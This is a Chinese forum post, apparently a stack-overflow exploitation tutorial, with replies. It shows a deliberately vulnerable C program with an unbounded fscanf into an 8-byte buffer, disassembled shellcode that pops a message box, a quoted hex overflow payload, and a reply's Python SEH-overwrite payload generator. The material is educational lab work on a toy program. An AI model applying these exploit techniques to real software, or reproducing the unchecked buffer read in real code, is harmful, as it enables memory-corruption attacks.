首页
社区
课程
招聘
[原创]栈溢出笔记(1)
发表于: 2015-6-27 12:57 6169

[原创]栈溢出笔记(1)

2015-6-27 12:57
6169
#include <stdio.h>
#include <windows.h>
const char * FileName = "reg.txt"; 
const char * trueCode = "1245";
#define Msg(STR)( MessageBoxA(NULL,STR,NULL,MB_OK))
int _stdcall  RegGo()
{
	char FileBuf[8];
	char cNow;
	int nIndex = 0;
	FILE *fp;
	memset(FileBuf,0,sizeof(FileBuf));
	fp=fopen(FileName,"r");
	if(fp==NULL)
	{
		Msg("导入注册文件失败\n");
		ExitProcess(-1);
	}
	fscanf(fp,"%s",FileBuf);
	if(!strcmp(trueCode,FileBuf))
	{
		Msg("你的注册文件输入正确! 恭喜");
		return 0;
	}
	Msg("你的注册文件好像有些问题!");
	return 0;
}

int _stdcall WinMain(
    HINSTANCE hInstance,
    HINSTANCE hPrevInstance,
    LPSTR lpCmdLine,
    int nCmdShow
)
{
	RegGo();
	MessageBoxA(NULL,"Hello world!\n",NULL,MB_OK);
}
0012FEFC    33DB            xor ebx,ebx
0012FEFE    53              push ebx
0012FEFF    68 656C6C6F     push 0x6F6C6C65
0012FF04    4C              dec esp
0012FF05    C60424 68       mov byte ptr ss:[esp],0x68
0012FF09    8BC4            mov eax,esp
0012FF0B    53              push ebx
0012FF0C    53              push ebx
0012FF0D    50              push eax
0012FF0E    53              push ebx
0012FF0F    B8 11EA4077     mov eax,user32.MessageBoxA
0012FF14    FFD0            call eax
0012FF16    B8 7E42FA75     mov eax,KernelBa.ExitProcess
0012FF1B    53              push ebx
0012FF1C    FFD0            call eax

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 3
支持
分享
最新回复 (16)
雪    币: 11075
活跃值: (17602)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
虽然看不懂,但加了精华的帖子要支持
2015-6-27 19:22
0
雪    币: 300
活跃值: (2477)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
mark
2015-6-27 20:37
0
雪    币: 110
活跃值: (527)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
4
如何在shellcode中定位api呢。
2015-6-27 21:13
0
雪    币: 39
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
在脑子里过了一遍,感觉虽然慢了点,收获还是蛮多的。。。
2015-6-27 22:04
0
雪    币: 55
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
char FileBuf[8]; 存放验证文件数据的缓冲区只有8字节,实际上只能够储蓄7个字符 + 一个0结尾。

这里不应该是0-7 8个字符加 一个0结尾嘛?
2015-6-27 23:10
0
雪    币: 6911
活跃值: (9069)
能力值: ( LV17,RANK:797 )
在线值:
发帖
回帖
粉丝
7
[QUOTE=yzbkof;1378256]char FileBuf[8]; 存放验证文件数据的缓冲区只有8字节,实际上只能够储蓄7个字符 + 一个0结尾。

这里不应该是0-7 8个字符加 一个0结尾嘛?...[/QUOTE]
。。 0也要占一个字节啊。
2015-6-27 23:26
0
雪    币: 239
活跃值: (13)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
mark下 一会再细看
2015-6-27 23:50
0
雪    币: 156
活跃值: (190)
能力值: ( LV7,RANK:110 )
在线值:
发帖
回帖
粉丝
9
【翻译】Exploit 编写系列教程第三篇_基于SEH的Exploit(+3b)
http://bbs.pediy.com/showthread.php?t=102040
============================================

#!/usr/bin/env python
# -*- coding: utf8 -*-

with open("reg.txt" , "w") as f:


    # Bad Chars: 00 09 0A 0B 0C 1A 20

    buf = "A" * 220

    nseh = "BBBB"
    pseh = "CCCC"

    junk2 = "D" * 500

    payload = buf + nseh + pseh + junk2

    f.write(payload)
2015-6-28 01:52
0
雪    币: 17
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
[QUOTE=yzbkof;1378256]char FileBuf[8]; 存放验证文件数据的缓冲区只有8字节,实际上只能够储蓄7个字符 + 一个0结尾。

这里不应该是0-7 8个字符加 一个0结尾嘛?[/QUOTE]

字符串长度是8,位置为0-7,往往最后一个字符是字符结束标志,即 '\0'。
所以是7个字符加一个 '\0' 结束符标志。如果没有结束标志,就可能读取到字符空间以外的数据,造成数据溢出
2015-6-30 10:53
0
雪    币: 9
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
你好,我想问一下。你在文中提到在reg.txt中放入4141414141414141 FFFFFFFF 1245FA7F 33DB5368656C6C6F4CC60424688BC453535053B811EA4077FFD0B87E42FA7553FFD0。当使用fscanf函数的时候以字符串形式读取,每次读取一个字符比如4,它会把它的十六进制34传进去。那么,如何实现41这个整体传到fileBuf[0]中,因为我看你的意思是表示41代表一个字节。
2015-7-1 16:29
0
雪    币: 6911
活跃值: (9069)
能力值: ( LV17,RANK:797 )
在线值:
发帖
回帖
粉丝
12
%s  是表示一次性读入一个以0结尾的字符串。
2015-7-1 19:34
0
雪    币: 9
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
你说的我明白,之前的时候我纠结的是如何将0x00401210这个地址写入到文本文档中,因为通过查阅ascii表发现0x00对应的字符是控制字符,这个在文本文档中是显示不出来的。今天终于发现,作者在前边提到一个工具winhex,我之前忽略了。这个工具用来将一些特殊十六进制转换为ascii形式,从而在文本中显示。惭愧啊!非常感谢楼主,学到了不少东西。
2015-7-2 10:39
0
雪    币: 123
活跃值: (144)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
14
strcpy->strncpy
:)
2015-7-8 17:41
0
雪    币: 284
活跃值: (250)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
15
NICE,受益匪浅,谢谢楼主
2015-8-28 23:47
0
雪    币: 55
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
16
正学习基础,谢谢LZ分享
2015-10-18 17:30
0
雪    币: 5
活跃值: (108)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
看了评论以后学到了更多。
2015-10-21 10:55
0
游客
登录 | 注册 方可回帖
返回
//